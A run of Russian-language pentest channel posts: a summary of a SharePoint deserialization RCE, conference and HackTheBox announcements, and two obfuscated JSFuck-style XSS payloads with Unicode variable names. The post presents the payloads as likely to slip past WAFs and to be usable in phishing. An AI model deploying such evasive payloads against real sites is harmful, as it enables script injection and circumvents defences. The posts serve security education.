CVE-2025-53770 Microsoft SharePoint RCE PoC

На локальных (on‑prem) серверах Microsoft SharePoint обнаружена критическая RCE уязвимость  CVE‑2025‑53770, позволяющая неавторизованному злоумышленнику запускать произвольный код. Снова кстати небезопасная десереализация.. Какая уже по счету?)

Эксплоит загружает вредоносный ASPX‑файл spinstall0.aspx, который извлекает MachineKey — валидный ключ для __VIEWSTATE

CVSS:3.1 9.8/10

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:W/RC:C

FOFA: Link
Netlas: Link

💫 @pentestnotes

Интересные XSS пейлоады подъехали 😊

ا='',ب=!ا+ا,ت=!ب+ا,ث=ا+{},ج=ب[ا++],ح=ب[خ=ا],
د=++خ+ا,ذ=ث[خ+د],ب[ذ+=ث[ا]+(ب.ت+ث)[ا]+ت[د]+ج+ح+ب[خ]+ذ+ج+ث[ا]+ح][ذ](ت[ا]+ت[خ]+ب[د]+ح+ج+"(1)")()

甲='',乙=!甲+甲,丙=!乙+甲,丁=甲+{},戊=乙[甲++],己=乙[庚=甲],
辛=++庚+甲,壬=丁[庚+辛],
乙[壬+=丁[甲]+(乙.丙+丁)[甲]+丙[辛]+戊+己+乙[庚]+壬+戊+丁[甲]+己][壬](
丙[甲]+丙[庚]+乙[辛]+己+戊+"('被攻擊了')"
)()

Как это вообще работает:

Идентификаторы в JavaScript могут содержать любые символы Unicode, поэтому можно использовать переменные с именами на арабском, русском, иероглифах, греческом и т.д. — это не меняет работу кода.

Сам код при этом собирается из базовых примитивов (булевых значений, пустых строк, объектов), а нужные строки и функции извлекаются посимвольно по индексам из этих примитивов. (Принцип JSFuck).

![] → false
!![] → true
+[] → 0
[]+[] → "" (пустая строка)
{}+[] и прочее дают строки вроде "[object Object]"
("false"+{})[1] → "a"

И так далее — по индексации из известных значений.
Полный перечень тут

Таким образом можно сделать payload, который выполнится в браузере, но при этом, вероятно, не будет детектиться многими WAF (Или при фишинге). Дипсику кстати понравилось, он всё скушал

Ps. для того чтобы пейлоад отработал, его нужно поместить в js контекст. Например, в тег <script>

💫 @pentestnotes

🚀 На ZeroNights 2025 всё еще открыт Call for Papers!

Одна из главных конференций по информационной безопасности в России снова в деле 😊.
Ждали ее аж с 2021 года

Рассматривают доклады по направлениям: Offensive и AppSec/SecOps.

➡️ Подробности и форма подачи заявки — на сайте ZeroNights

Помню, как раньше все самые топовые доклады были именно здесь. Надеюсь, традиция продолжится

💫 @pentestnotes

Уже меньше, чем через 2 часа начнется 9 сезон HackTheBox, в этот раз с довольно забавным названием "Gacha".

Сезон будет состоять из 13 машин различной сложности, включая эксплуатацию уязвимостей как в Linux системах, так и Windows. И продлится 13 недель. (По 1 неделе на машину).

Те, кто решат все сезонные тачки, могут рассчитывать на следующие призы:
➡️ Holo Achievement Badge
➡️ $25 Discount Code for HTB Labs
➡️ 250 Cubes on HTB Academy
➡️ 50% HTB Swag Discount
Такой бейдж, кстати, видел как многие размещают в свои резюме, не так то просто получить Holo.

Я тоже планирую поучаствовать, ведь машины там действительно интересные, но в этот раз без написания райтапов, вместо них предлагаю всем, кто захочет порешать тачки, заходить в дискорд сервер TB, в голосовой канал HackTheBox Season 9.

💫 @pentestnotes